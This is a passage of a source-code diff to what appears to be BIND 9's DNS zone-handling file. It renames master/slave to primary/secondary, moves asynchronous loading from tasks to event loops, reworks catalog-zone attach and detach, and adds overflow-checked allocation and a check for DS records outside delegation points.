 			isc_mem_free(zone->mctx, zone->db_argv[i]);
 		}
-		isc_mem_put(zone->mctx, zone->db_argv,
-			    zone->db_argc * sizeof(*zone->db_argv));
+		isc_mem_cput(zone->mctx, zone->db_argv, zone->db_argc,
+			     sizeof(*zone->db_argv));
 	}
 	zone->db_argc = 0;
 	zone->db_argv = NULL;
@@ -1463,7 +1512,7 @@ dns_zone_getdbtype(dns_zone_t *zone, char ***argv, isc_mem_t *mctx) {
 	REQUIRE(argv != NULL && *argv == NULL);
 
 	LOCK_ZONE(zone);
-	size = (zone->db_argc + 1) * sizeof(char *);
+	size = ISC_CHECKED_MUL((zone->db_argc + 1), sizeof(char *));
 	for (i = 0; i < zone->db_argc; i++) {
 		size += strlen(zone->db_argv[i]) + 1;
 	}
@@ -1472,7 +1521,7 @@ dns_zone_getdbtype(dns_zone_t *zone, char ***argv, isc_mem_t *mctx) {
 		tmp = mem;
 		tmp2 = mem;
 		base = mem;
-		tmp2 += (zone->db_argc + 1) * sizeof(char *);
+		tmp2 += ISC_CHECKED_MUL((zone->db_argc + 1), sizeof(char *));
 		for (i = 0; i < zone->db_argc; i++) {
 			*tmp++ = tmp2;
 			strlcpy(tmp2, zone->db_argv[i], size - (tmp2 - base));
@@ -1498,7 +1547,7 @@ dns_zone_setdbtype(dns_zone_t *zone, unsigned int dbargc,
 	LOCK_ZONE(zone);
 
 	/* Set up a new database argument list. */
-	argv = isc_mem_get(zone->mctx, dbargc * sizeof(*argv));
+	argv = isc_mem_cget(zone->mctx, dbargc, sizeof(*argv));
 	for (i = 0; i < dbargc; i++) {
 		argv[i] = NULL;
 	}
@@ -1525,9 +1574,11 @@ dns_zone_setview_helper(dns_zone_t *zone, dns_view_t *view) {
 
 	INSIST(zone != zone->raw);
 	if (zone->view != NULL) {
+		dns_view_sfd_del(zone->view, &zone->origin);
 		dns_view_weakdetach(&zone->view);
 	}
 	dns_view_weakattach(view, &zone->view);
+	dns_view_sfd_add(view, &zone->origin);
 
 	if (zone->strviewname != NULL) {
 		isc_mem_free(zone->mctx, zone->strviewname);
@@ -1585,6 +1636,9 @@ dns_zone_setviewrevert(dns_zone_t *zone) {
 		dns_zone_setview_helper(zone, zone->prev_view);
 		dns_view_weakdetach(&zone->prev_view);
 	}
+	if (zone->catzs != NULL) {
+		zone_catz_enable(zone, zone->catzs);
+	}
 	if (inline_secure(zone)) {
 		dns_zone_setviewrevert(zone->raw);
 	}
@@ -1766,7 +1820,7 @@ dns_zone_getjournal(dns_zone_t *zone) {
  * master file (if any) is written by the server, rather than being
  * updated manually and read by the server.
  *
- * This is true for slave zones, mirror zones, stub zones, key zones,
+ * This is true for secondary zones, mirror zones, stub zones, key zones,
  * and zones that allow dynamic updates either by having an update
  * policy ("ssutable") or an "allow-update" ACL with a value other than
  * exactly "{ none; }".
@@ -1775,20 +1829,21 @@ bool
 dns_zone_isdynamic(dns_zone_t *zone, bool ignore_freeze) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 
-	if (zone->type == dns_zone_slave || zone->type == dns_zone_mirror ||
+	if (zone->type == dns_zone_secondary || zone->type == dns_zone_mirror ||
 	    zone->type == dns_zone_stub || zone->type == dns_zone_key ||
-	    (zone->type == dns_zone_redirect && zone->masters != NULL))
+	    (zone->type == dns_zone_redirect &&
+	     dns_remote_addresses(&zone->primaries) != NULL))
 	{
 		return (true);
 	}
 
 	/* Inline zones are always dynamic. */
-	if (zone->type == dns_zone_master && zone->raw != NULL) {
+	if (zone->type == dns_zone_primary && zone->raw != NULL) {
 		return (true);
 	}
 
 	/* If !ignore_freeze, we need check whether updates are disabled.  */
-	if (zone->type == dns_zone_master &&
+	if (zone->type == dns_zone_primary &&
 	    (!zone->update_disabled || ignore_freeze) &&
 	    ((zone->ssutable != NULL) ||
 	     (zone->update_acl != NULL && !dns_acl_isnone(zone->update_acl))))
@@ -1811,12 +1866,7 @@ dns_zone_rpz_enable(dns_zone_t *zone, dns_rpz_zones_t *rpzs,
 	 * Only zones that are loaded instead of mmap()ed create the
 	 * summary data and so can be policy zones.
 	 */
-	if (strcmp(zone->db_argv[0], "rbt") != 0 &&
-	    strcmp(zone->db_argv[0], "rbt64") != 0)
-	{
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-	if (zone->masterformat == dns_masterformat_map) {
+	if (strcmp(zone->db_argv[0], "rbt") != 0) {
 		return (ISC_R_NOTIMPLEMENTED);
 	}
 
@@ -1847,14 +1897,11 @@ dns_zone_get_rpz_num(dns_zone_t *zone) {
  */
 void
 dns_zone_rpz_enable_db(dns_zone_t *zone, dns_db_t *db) {
-	isc_result_t result;
 	if (zone->rpz_num == DNS_RPZ_INVALID_NUM) {
 		return;
 	}
 	REQUIRE(zone->rpzs != NULL);
-	result = dns_db_updatenotify_register(db, dns_rpz_dbupdate_callback,
-					      zone->rpzs->zones[zone->rpz_num]);
-	REQUIRE(result == ISC_R_SUCCESS);
+	dns_rpz_dbupdate_register(db, zone->rpzs->zones[zone->rpz_num]);
 }
 
 static void
@@ -1863,49 +1910,81 @@ dns_zone_rpz_disable_db(dns_zone_t *zone, dns_db_t *db) {
 		return;
 	}
 	REQUIRE(zone->rpzs != NULL);
-	(void)dns_db_updatenotify_unregister(db, dns_rpz_dbupdate_callback,
-					     zone->rpzs->zones[zone->rpz_num]);
+	dns_rpz_dbupdate_unregister(db, zone->rpzs->zones[zone->rpz_num]);
 }
 
+/*
+ * If a zone is a catalog zone, attach it to update notification in database.
+ */
 void
-dns_zone_catz_enable(dns_zone_t *zone, dns_catz_zones_t *catzs) {
+dns_zone_catz_enable_db(dns_zone_t *zone, dns_db_t *db) {
+	REQUIRE(DNS_ZONE_VALID(zone));
+	REQUIRE(db != NULL);
+
+	if (zone->catzs != NULL) {
+		dns_catz_dbupdate_register(db, zone->catzs);
+	}
+}
+
+static void
+dns_zone_catz_disable_db(dns_zone_t *zone, dns_db_t *db) {
+	REQUIRE(DNS_ZONE_VALID(zone));
+	REQUIRE(db != NULL);
+
+	if (zone->catzs != NULL) {
+		dns_catz_dbupdate_unregister(db, zone->catzs);
+	}
+}
+
+static void
+zone_catz_enable(dns_zone_t *zone, dns_catz_zones_t *catzs) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 	REQUIRE(catzs != NULL);
 
-	LOCK_ZONE(zone);
 	INSIST(zone->catzs == NULL || zone->catzs == catzs);
 	dns_catz_catzs_set_view(catzs, zone->view);
 	if (zone->catzs == NULL) {
-		dns_catz_catzs_attach(catzs, &zone->catzs);
+		dns_catz_zones_attach(catzs, &zone->catzs);
 	}
-	UNLOCK_ZONE(zone);
 }
 
-/*
- * If a zone is a catalog zone, attach it to update notification in database.
- */
 void
-dns_zone_catz_enable_db(dns_zone_t *zone, dns_db_t *db) {
+dns_zone_catz_enable(dns_zone_t *zone, dns_catz_zones_t *catzs) {
 	REQUIRE(DNS_ZONE_VALID(zone));
-	REQUIRE(db != NULL);
 
-	if (zone->catzs != NULL) {
-		dns_db_updatenotify_register(db, dns_catz_dbupdate_callback,
-					     zone->catzs);
-	}
+	LOCK_ZONE(zone);
+	zone_catz_enable(zone, catzs);
+	UNLOCK_ZONE(zone);
 }
 
 static void
-dns_zone_catz_disable_db(dns_zone_t *zone, dns_db_t *db) {
+zone_catz_disable(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
-	REQUIRE(db != NULL);
 
 	if (zone->catzs != NULL) {
-		dns_db_updatenotify_unregister(db, dns_catz_dbupdate_callback,
-					       zone->catzs);
+		if (zone->db != NULL) {
+			dns_zone_catz_disable_db(zone, zone->db);
+		}
+		dns_catz_zones_detach(&zone->catzs);
 	}
 }
 
+void
+dns_zone_catz_disable(dns_zone_t *zone) {
+	REQUIRE(DNS_ZONE_VALID(zone));
+
+	LOCK_ZONE(zone);
+	zone_catz_disable(zone);
+	UNLOCK_ZONE(zone);
+}
+
+bool
+dns_zone_catz_is_enabled(dns_zone_t *zone) {
+	REQUIRE(DNS_ZONE_VALID(zone));
+
+	return (zone->catzs != NULL);
+}
+
 /*
  * Set catalog zone ownership of the zone
  */
@@ -1920,9 +1999,16 @@ dns_zone_set_parentcatz(dns_zone_t *zone, dns_catz_zone_t *catz) {
 }
 
 dns_catz_zone_t *
-dns_zone_get_parentcatz(const dns_zone_t *zone) {
+dns_zone_get_parentcatz(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
-	return (zone->parentcatz);
+
+	dns_catz_zone_t *parentcatz = NULL;
+
+	LOCK_ZONE(zone);
+	parentcatz = zone->parentcatz;
+	UNLOCK_ZONE(zone);
+
+	return (parentcatz);
 }
 
 static bool
@@ -1935,7 +2021,8 @@ zone_touched(dns_zone_t *zone) {
 
 	result = isc_file_getmodtime(zone->masterfile, &modtime);
 	if (result != ISC_R_SUCCESS ||
-	    isc_time_compare(&modtime, &zone->loadtime) > 0) {
+	    isc_time_compare(&modtime, &zone->loadtime) > 0)
+	{
 		return (true);
 	}
 
@@ -2007,7 +2094,7 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 		LOCK_ZONE(zone->raw);
 	}
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 
 	INSIST(zone->type != dns_zone_none);
 
@@ -2021,8 +2108,7 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 
 	INSIST(zone->db_argc >= 1);
 
-	rbt = strcmp(zone->db_argv[0], "rbt") == 0 ||
-	      strcmp(zone->db_argv[0], "rbt64") == 0;
+	rbt = strcmp(zone->db_argv[0], "rbt") == 0;
 
 	if (zone->db != NULL && zone->masterfile == NULL && rbt) {
 		/*
@@ -2035,11 +2121,11 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 	is_dynamic = dns_zone_isdynamic(zone, false);
 	if (zone->db != NULL && is_dynamic) {
 		/*
-		 * This is a slave, stub, or dynamically updated zone being
-		 * reloaded.  Do nothing - the database we already
+		 * This is a secondary, stub, or dynamically updated zone
+		 * being reloaded.  Do nothing - the database we already
 		 * have is guaranteed to be up-to-date.
 		 */
-		if (zone->type == dns_zone_master && !hasraw) {
+		if (zone->type == dns_zone_primary && !hasraw) {
 			result = DNS_R_DYNAMIC;
 		} else {
 			result = ISC_R_SUCCESS;
@@ -2053,7 +2139,7 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 	 * zone->loadtime is set, then the file will still be reloaded
 	 * the next time dns_zone_load is called.
 	 */
-	TIME_NOW(&loadtime);
+	loadtime = isc_time_now();
 
 	/*
 	 * Don't do the load if the file that stores the zone is older
@@ -2075,7 +2161,8 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 		}
 
 		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADED) &&
-		    !zone_touched(zone)) {
+		    !zone_touched(zone))
+		{
 			dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD,
 				      ISC_LOG_DEBUG(1),
 				      "skipping load: master file "
@@ -2090,7 +2177,8 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 		 */
 		result = isc_file_getmodtime(zone->masterfile, &filetime);
 		if (result == ISC_R_SUCCESS &&
-		    isc_time_compare(&loadtime, &filetime) > 0) {
+		    isc_time_compare(&loadtime, &filetime) > 0)
+		{
 			loadtime = filetime;
 		}
 	}
@@ -2099,7 +2187,7 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 	 * Built in zones (with the exception of empty zones) don't need
 	 * to be reloaded.
 	 */
-	if (zone->type == dns_zone_master &&
+	if (zone->type == dns_zone_primary &&
 	    strcmp(zone->db_argv[0], "_builtin") == 0 &&
 	    (zone->db_argc < 2 || strcmp(zone->db_argv[1], "empty") != 0) &&
 	    DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADED))
@@ -2169,9 +2257,10 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 		goto cleanup;
 	}
 
-	if ((zone->type == dns_zone_slave || zone->type == dns_zone_mirror ||
-	     zone->type == dns_zone_stub ||
-	     (zone->type == dns_zone_redirect && zone->masters != NULL)) &&
+	if ((zone->type == dns_zone_secondary ||
+	     zone->type == dns_zone_mirror || zone->type == dns_zone_stub ||
+	     (zone->type == dns_zone_redirect &&
+	      dns_remote_addresses(&zone->primaries) != NULL)) &&
 	    rbt)
 	{
 		if (zone->stream == NULL &&
@@ -2184,7 +2273,7 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 					      "no master file");
 			}
 			zone->refreshtime = now;
-			if (zone->task != NULL) {
+			if (zone->loop != NULL) {
 				zone_settimer(zone, &now);
 			}
 			result = ISC_R_SUCCESS;
@@ -2207,10 +2296,10 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 			      isc_result_totext(result));
 		goto cleanup;
 	}
-	dns_db_settask(db, zone->task);
+	dns_db_setloop(db, zone->loop);
 
-	if (zone->type == dns_zone_master || zone->type == dns_zone_slave ||
-	    zone->type == dns_zone_mirror)
+	if (zone->type == dns_zone_primary ||
+	    zone->type == dns_zone_secondary || zone->type == dns_zone_mirror)
 	{
 		result = dns_db_setgluecachestats(db, zone->gluecachestats);
 		if (result == ISC_R_NOTIMPLEMENTED) {
@@ -2226,9 +2315,9 @@ zone_load(dns_zone_t *zone, unsigned int flags, bool locked) {
 			result = zone_startload(db, zone, loadtime);
 		} else {
 			result = DNS_R_NOMASTERFILE;
-			if (zone->type == dns_zone_master ||
+			if (zone->type == dns_zone_primary ||
 			    (zone->type == dns_zone_redirect &&
-			     zone->masters == NULL))
+			     dns_remote_addresses(&zone->primaries) == NULL))
 			{
 				dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD,
 					      ISC_LOG_ERROR,
@@ -2272,17 +2361,13 @@ dns_zone_load(dns_zone_t *zone, bool newonly) {
 }
 
 static void
-zone_asyncload(isc_task_t *task, isc_event_t *event) {
-	dns_asyncload_t *asl = event->ev_arg;
+zone_asyncload(void *arg) {
+	dns_asyncload_t *asl = arg;
 	dns_zone_t *zone = asl->zone;
 	isc_result_t result;
 
-	UNUSED(task);
-
 	REQUIRE(DNS_ZONE_VALID(zone));
 
-	isc_event_free(&event);
-
 	LOCK_ZONE(zone);
 	result = zone_load(zone, asl->flags, true);
 	if (result != DNS_R_CONTINUE) {
@@ -2292,7 +2377,7 @@ zone_asyncload(isc_task_t *task, isc_event_t *event) {
 
 	/* Inform the zone table we've finished loading */
 	if (asl->loaded != NULL) {
-		(asl->loaded)(asl->loaded_arg, zone, task);
+		asl->loaded(asl->loaded_arg);
 	}
 
 	isc_mem_put(zone->mctx, asl, sizeof(*asl));
@@ -2300,9 +2385,8 @@ zone_asyncload(isc_task_t *task, isc_event_t *event) {
 }
 
 isc_result_t
-dns_zone_asyncload(dns_zone_t *zone, bool newonly, dns_zt_zoneloaded_t done,
+dns_zone_asyncload(dns_zone_t *zone, bool newonly, dns_zt_callback_t *done,
 		   void *arg) {
-	isc_event_t *e;
 	dns_asyncload_t *asl = NULL;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
@@ -2325,12 +2409,9 @@ dns_zone_asyncload(dns_zone_t *zone, bool newonly, dns_zt_zoneloaded_t done,
 	asl->loaded = done;
 	asl->loaded_arg = arg;
 
-	e = isc_event_allocate(zone->zmgr->mctx, zone->zmgr, DNS_EVENT_ZONELOAD,
-			       zone_asyncload, asl, sizeof(isc_event_t));
-
 	zone_iattach(zone, &asl->zone);
 	DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_LOADPENDING);
-	isc_task_send(zone->loadtask, &e);
+	isc_async_run(zone->loop, zone_asyncload, asl);
 	UNLOCK_ZONE(zone);
 
 	return (ISC_R_SUCCESS);
@@ -2355,7 +2436,7 @@ dns_zone_loadandthaw(dns_zone_t *zone) {
 		 * have been made. If we do DNSSEC maintenance on this
 		 * zone, schedule a full sign for this zone.
 		 */
-		if (zone->type == dns_zone_master &&
+		if (zone->type == dns_zone_primary &&
 		    DNS_ZONEKEY_OPTION(zone, DNS_ZONEKEY_MAINTAIN))
 		{
 			DNS_ZONEKEY_SETOPTION(zone, DNS_ZONEKEY_FULLSIGN);
@@ -2383,14 +2464,15 @@ dns_zone_loadandthaw(dns_zone_t *zone) {
 }
 
 static unsigned int
-get_master_options(dns_zone_t *zone) {
+get_primary_options(dns_zone_t *zone) {
 	unsigned int options;
 
 	options = DNS_MASTER_ZONE | DNS_MASTER_RESIGN;
-	if (zone->type == dns_zone_slave || zone->type == dns_zone_mirror ||
-	    (zone->type == dns_zone_redirect && zone->masters == NULL))
+	if (zone->type == dns_zone_secondary || zone->type == dns_zone_mirror ||
+	    (zone->type == dns_zone_redirect &&
+	     dns_remote_addresses(&zone->primaries) == NULL))
 	{
-		options |= DNS_MASTER_SLAVE;
+		options |= DNS_MASTER_SECONDARY;
 	}
 	if (zone->type == dns_zone_key) {
 		options |= DNS_MASTER_KEY;
@@ -2419,6 +2501,9 @@ get_master_options(dns_zone_t *zone) {
 	if (DNS_ZONE_OPTION(zone, DNS_ZONEOPT_CHECKTTL)) {
 		options |= DNS_MASTER_CHECKTTL;
 	}
+	if (DNS_ZONE_OPTION(zone, DNS_ZONEOPT_CHECKSVCB)) {
+		options |= DNS_MASTER_CHECKSVCB;
+	}
 
 	return (options);
 }
@@ -2458,41 +2543,6 @@ zone_registerinclude(const char *filename, void *arg) {
 	ISC_LIST_APPEND(zone->newincludes, inc, link);
 }
 
-static void
-zone_gotreadhandle(isc_task_t *task, isc_event_t *event) {
-	dns_load_t *load = event->ev_arg;
-	isc_result_t result = ISC_R_SUCCESS;
-	unsigned int options;
-
-	REQUIRE(DNS_LOAD_VALID(load));
-
-	if ((event->ev_attributes & ISC_EVENTATTR_CANCELED) != 0) {
-		result = ISC_R_CANCELED;
-	}
-	isc_event_free(&event);
-	if (result == ISC_R_CANCELED) {
-		goto fail;
-	}
-
-	options = get_master_options(load->zone);
-
-	result = dns_master_loadfileinc(
-		load->zone->masterfile, dns_db_origin(load->db),
-		dns_db_origin(load->db), load->zone->rdclass, options, 0,
-		&load->callbacks, task, zone_loaddone, load, &load->zone->lctx,
-		zone_registerinclude, load->zone, load->zone->mctx,
-		load->zone->masterformat, load->zone->maxttl);
-	if (result != ISC_R_SUCCESS && result != DNS_R_CONTINUE &&
-	    result != DNS_R_SEENINCLUDE)
-	{
-		goto fail;
-	}
-	return;
-
-fail:
-	zone_loaddone(load, result);
-}
-
 static void
 get_raw_serial(dns_zone_t *raw, dns_masterrawheader_t *rawdata) {
 	isc_result_t result;
@@ -2510,80 +2560,17 @@ get_raw_serial(dns_zone_t *raw, dns_masterrawheader_t *rawdata) {
 	UNLOCK(&raw->lock);
 }
 
+/*
+ * Save the raw serial number for inline-signing zones.
+ * (XXX: Other information from the header will be used
+ * for other purposes in the future, but for now this is
+ * all we're interested in.)
+ */
 static void
-zone_gotwritehandle(isc_task_t *task, isc_event_t *event) {
-	const char me[] = "zone_gotwritehandle";
-	dns_zone_t *zone = event->ev_arg;
-	isc_result_t result = ISC_R_SUCCESS;
-	dns_dbversion_t *version = NULL;
-	dns_masterrawheader_t rawdata;
-	dns_db_t *db = NULL;
-
-	REQUIRE(DNS_ZONE_VALID(zone));
-	INSIST(task == zone->task);
-	ENTER;
-
-	if ((event->ev_attributes & ISC_EVENTATTR_CANCELED) != 0) {
-		result = ISC_R_CANCELED;
-	}
-	isc_event_free(&event);
-	if (result == ISC_R_CANCELED) {
-		goto fail;
-	}
-
-	LOCK_ZONE(zone);
-	INSIST(zone != zone->raw);
-	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
-	if (zone->db != NULL) {
-		dns_db_attach(zone->db, &db);
-	}
-	ZONEDB_UNLOCK(&zone->dblock, isc_rwlocktype_read);
-	if (db != NULL) {
-		const dns_master_style_t *output_style;
-		dns_db_currentversion(db, &version);
-		dns_master_initrawheader(&rawdata);
-		if (inline_secure(zone)) {
-			get_raw_serial(zone->raw, &rawdata);
-		}
-		if (zone->type == dns_zone_key) {
-			output_style = &dns_master_style_keyzone;
-		} else if (zone->masterstyle != NULL) {
-			output_style = zone->masterstyle;
-		} else {
-			output_style = &dns_master_style_default;
-		}
-		result = dns_master_dumpasync(
-			zone->mctx, db, version, output_style, zone->masterfile,
-			zone->task, dump_done, zone, &zone->dctx,
-			zone->masterformat, &rawdata);
-		dns_db_closeversion(db, &version, false);
-	} else {
-		result = ISC_R_CANCELED;
-	}
-	if (db != NULL) {
-		dns_db_detach(&db);
-	}
-	UNLOCK_ZONE(zone);
-	if (result != DNS_R_CONTINUE) {
-		goto fail;
-	}
-	return;
-
-fail:
-	dump_done(zone, result);
-}
-
-/*
- * Save the raw serial number for inline-signing zones.
- * (XXX: Other information from the header will be used
- * for other purposes in the future, but for now this is
- * all we're interested in.)
- */
-static void
-zone_setrawdata(dns_zone_t *zone, dns_masterrawheader_t *header) {
-	if ((header->flags & DNS_MASTERRAW_SOURCESERIALSET) == 0) {
-		return;
-	}
+zone_setrawdata(dns_zone_t *zone, dns_masterrawheader_t *header) {
+	if ((header->flags & DNS_MASTERRAW_SOURCESERIALSET) == 0) {
+		return;
+	}
 
 	zone->sourceserial = header->sourceserial;
 	zone->sourceserialset = true;
@@ -2602,94 +2589,77 @@ dns_zone_setrawdata(dns_zone_t *zone, dns_masterrawheader_t *header) {
 
 static isc_result_t
 zone_startload(dns_db_t *db, dns_zone_t *zone, isc_time_t loadtime) {
-	const char me[] = "zone_startload";
-	dns_load_t *load;
 	isc_result_t result;
 	isc_result_t tresult;
 	unsigned int options;
+	dns_load_t *load = isc_mem_get(zone->mctx, sizeof(*load));
 
 	ENTER;
 
+	*load = (dns_load_t){
+		.loadtime = loadtime,
+	};
+
 	dns_zone_rpz_enable_db(zone, db);
 	dns_zone_catz_enable_db(zone, db);
 
-	options = get_master_options(zone);
+	options = get_primary_options(zone);
 	if (DNS_ZONE_OPTION(zone, DNS_ZONEOPT_MANYERRORS)) {
 		options |= DNS_MASTER_MANYERRORS;
 	}
 
-	if (zone->zmgr != NULL && zone->db != NULL && zone->loadtask != NULL) {
-		load = isc_mem_get(zone->mctx, sizeof(*load));
+	zone_iattach(zone, &load->zone);
+	dns_db_attach(db, &load->db);
 
-		load->mctx = NULL;
-		load->zone = NULL;
-		load->db = NULL;
-		load->loadtime = loadtime;
-		load->magic = LOAD_MAGIC;
+	dns_rdatacallbacks_init(&load->callbacks);
+	load->callbacks.rawdata = zone_setrawdata;
+	zone_iattach(zone, &load->callbacks.zone);
 
-		isc_mem_attach(zone->mctx, &load->mctx);
-		zone_iattach(zone, &load->zone);
-		dns_db_attach(db, &load->db);
-		dns_rdatacallbacks_init(&load->callbacks);
-		load->callbacks.rawdata = zone_setrawdata;
-		zone_iattach(zone, &load->callbacks.zone);
-		result = dns_db_beginload(db, &load->callbacks);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-		result = zonemgr_getio(zone->zmgr, true, zone->loadtask,
-				       zone_gotreadhandle, load, &zone->readio);
-		if (result != ISC_R_SUCCESS) {
-			/*
-			 * We can't report multiple errors so ignore
-			 * the result of dns_db_endload().
-			 */
-			(void)dns_db_endload(load->db, &load->callbacks);
-			goto cleanup;
-		} else {
-			result = DNS_R_CONTINUE;
-		}
-	} else {
-		dns_rdatacallbacks_t callbacks;
+	result = dns_db_beginload(db, &load->callbacks);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
 
-		dns_rdatacallbacks_init(&callbacks);
-		callbacks.rawdata = zone_setrawdata;
-		zone_iattach(zone, &callbacks.zone);
-		result = dns_db_beginload(db, &callbacks);
+	if (zone->zmgr != NULL && zone->db != NULL) {
+		result = dns_master_loadfileasync(
+			zone->masterfile, dns_db_origin(db), dns_db_origin(db),
+			zone->rdclass, options, 0, &load->callbacks, zone->loop,
+			zone_loaddone, load, &zone->loadctx,
+			zone_registerinclude, zone, zone->mctx,
+			zone->masterformat, zone->maxttl);
 		if (result != ISC_R_SUCCESS) {
-			zone_idetach(&callbacks.zone);
-			return (result);
+			goto cleanup;
 		}
 
-		if (zone->stream != NULL) {
-			FILE *stream = NULL;
-			DE_CONST(zone->stream, stream);
-			result = dns_master_loadstream(
-				stream, &zone->origin, &zone->origin,
-				zone->rdclass, options, &callbacks, zone->mctx);
-		} else {
-			result = dns_master_loadfile(
-				zone->masterfile, &zone->origin, &zone->origin,
-				zone->rdclass, options, 0, &callbacks,
-				zone_registerinclude, zone, zone->mctx,
-				zone->masterformat, zone->maxttl);
-		}
+		return (DNS_R_CONTINUE);
+	} else if (zone->stream != NULL) {
+		FILE *stream = UNCONST(zone->stream);
+		result = dns_master_loadstream(
+			stream, &zone->origin, &zone->origin, zone->rdclass,
+			options, &load->callbacks, zone->mctx);
+	} else {
+		result = dns_master_loadfile(
+			zone->masterfile, &zone->origin, &zone->origin,
+			zone->rdclass, options, 0, &load->callbacks,
+			zone_registerinclude, zone, zone->mctx,
+			zone->masterformat, zone->maxttl);
+	}
 
-		tresult = dns_db_endload(db, &callbacks);
-		if (result == ISC_R_SUCCESS) {
-			result = tresult;
-		}
-		zone_idetach(&callbacks.zone);
+cleanup:
+	if (result != ISC_R_SUCCESS) {
+		dns_zone_rpz_disable_db(zone, load->db);
+		dns_zone_catz_disable_db(zone, load->db);
 	}
 
-	return (result);
+	tresult = dns_db_endload(db, &load->callbacks);
+	if (result == ISC_R_SUCCESS) {
+		result = tresult;
+	}
 
-cleanup:
-	load->magic = 0;
+	zone_idetach(&load->callbacks.zone);
 	dns_db_detach(&load->db);
 	zone_idetach(&load->zone);
-	zone_idetach(&load->callbacks.zone);
-	isc_mem_detach(&load->mctx);
+
 	isc_mem_put(zone->mctx, load, sizeof(*load));
 	return (result);
 }
@@ -2722,7 +2692,7 @@ zone_check_mx(dns_zone_t *zone, dns_db_t *db, dns_name_t *name,
 		return (true);
 	}
 
-	if (zone->type == dns_zone_master) {
+	if (zone->type == dns_zone_primary) {
 		level = ISC_LOG_ERROR;
 	} else {
 		level = ISC_LOG_WARNING;
@@ -2823,7 +2793,7 @@ zone_check_srv(dns_zone_t *zone, dns_db_t *db, dns_name_t *name,
 		return (true);
 	}
 
-	if (zone->type == dns_zone_master) {
+	if (zone->type == dns_zone_primary) {
 		level = ISC_LOG_ERROR;
 	} else {
 		level = ISC_LOG_WARNING;
@@ -2918,7 +2888,7 @@ zone_check_glue(dns_zone_t *zone, dns_db_t *db, dns_name_t *name,
 		return (true);
 	}
 
-	if (zone->type == dns_zone_master) {
+	if (zone->type == dns_zone_primary) {
 		level = ISC_LOG_ERROR;
 	} else {
 		level = ISC_LOG_WARNING;
@@ -3135,7 +3105,7 @@ zone_check_dup(dns_zone_t *zone, dns_db_t *db) {
 			continue;
 		}
 
-		result = dns_db_allrdatasets(db, node, NULL, 0, &rdsit);
+		result = dns_db_allrdatasets(db, node, NULL, 0, 0, &rdsit);
 		if (result != ISC_R_SUCCESS) {
 			continue;
 		}
@@ -3208,6 +3178,8 @@ integrity_checks(dns_zone_t *zone, dns_db_t *db) {
 	dns_name_t *bottom;
 	isc_result_t result;
 	bool ok = true, have_spf, have_txt;
+	int level;
+	char namebuf[DNS_NAME_FORMATSIZE];
 
 	name = dns_fixedname_initname(&fixed);
 	bottom = dns_fixedname_initname(&fixedbottom);
@@ -3236,17 +3208,19 @@ integrity_checks(dns_zone_t *zone, dns_db_t *db) {
 			goto next;
 		}
 
+		dns_dbiterator_pause(dbiterator);
+
 		/*
 		 * Don't check the NS records at the origin.
 		 */
 		if (dns_name_equal(name, &zone->origin)) {
-			goto checkfordname;
+			goto checkfords;
 		}
 
 		result = dns_db_findrdataset(db, node, NULL, dns_rdatatype_ns,
 					     0, 0, &rdataset, NULL);
 		if (result != ISC_R_SUCCESS) {
-			goto checkfordname;
+			goto checkfords;
 		}
 		/*
 		 * Remember bottom of zone due to NS.
@@ -3267,6 +3241,24 @@ integrity_checks(dns_zone_t *zone, dns_db_t *db) {
 		dns_rdataset_disassociate(&rdataset);
 		goto next;
 
+	checkfords:
+		result = dns_db_findrdataset(db, node, NULL, dns_rdatatype_ds,
+					     0, 0, &rdataset, NULL);
+		if (result != ISC_R_SUCCESS) {
+			goto checkfordname;
+		}
+		dns_rdataset_disassociate(&rdataset);
+
+		if (zone->type == dns_zone_primary) {
+			level = ISC_LOG_ERROR;
+			ok = false;
+		} else {
+			level = ISC_LOG_WARNING;
+		}
+		dns_name_format(name, namebuf, sizeof(namebuf));
+		dns_zone_log(zone, level, "DS not at delegation point (%s)",
+			     namebuf);
+
 	checkfordname:
 		result = dns_db_findrdataset(db, node, NULL,
 					     dns_rdatatype_dname, 0, 0,
@@ -3356,8 +3348,6 @@ integrity_checks(dns_zone_t *zone, dns_db_t *db) {
 
 	notxt:
 		if (have_spf && !have_txt) {
-			char namebuf[DNS_NAME_FORMATSIZE];
-
 			dns_name_format(name, namebuf, sizeof(namebuf));
 			dns_zone_log(zone, ISC_LOG_WARNING,
 				     "'%s' found type "
@@ -3414,7 +3404,8 @@ zone_check_dnskeys(dns_zone_t *zone, dns_db_t *db) {
 		result = dns_rdata_tostruct(&rdata, &dnskey, NULL);
 		INSIST(result == ISC_R_SUCCESS);
 
-		/* RFC 3110, section 4: Performance Considerations:
+		/*
+		 * RFC 3110, section 4: Performance Considerations:
 		 *
 		 * A public exponent of 3 minimizes the effort needed to verify
 		 * a signature.  Use of 3 as the public exponent is weak for
@@ -3431,41 +3422,24 @@ zone_check_dnskeys(dns_zone_t *zone, dns_db_t *db) {
 		 * fermat number).
 		 */
 		if (dnskey.datalen > 1 && dnskey.data[0] == 1 &&
-		    dnskey.data[1] == 3) {
-			const char *algorithm = "";
+		    dnskey.data[1] == 3 &&
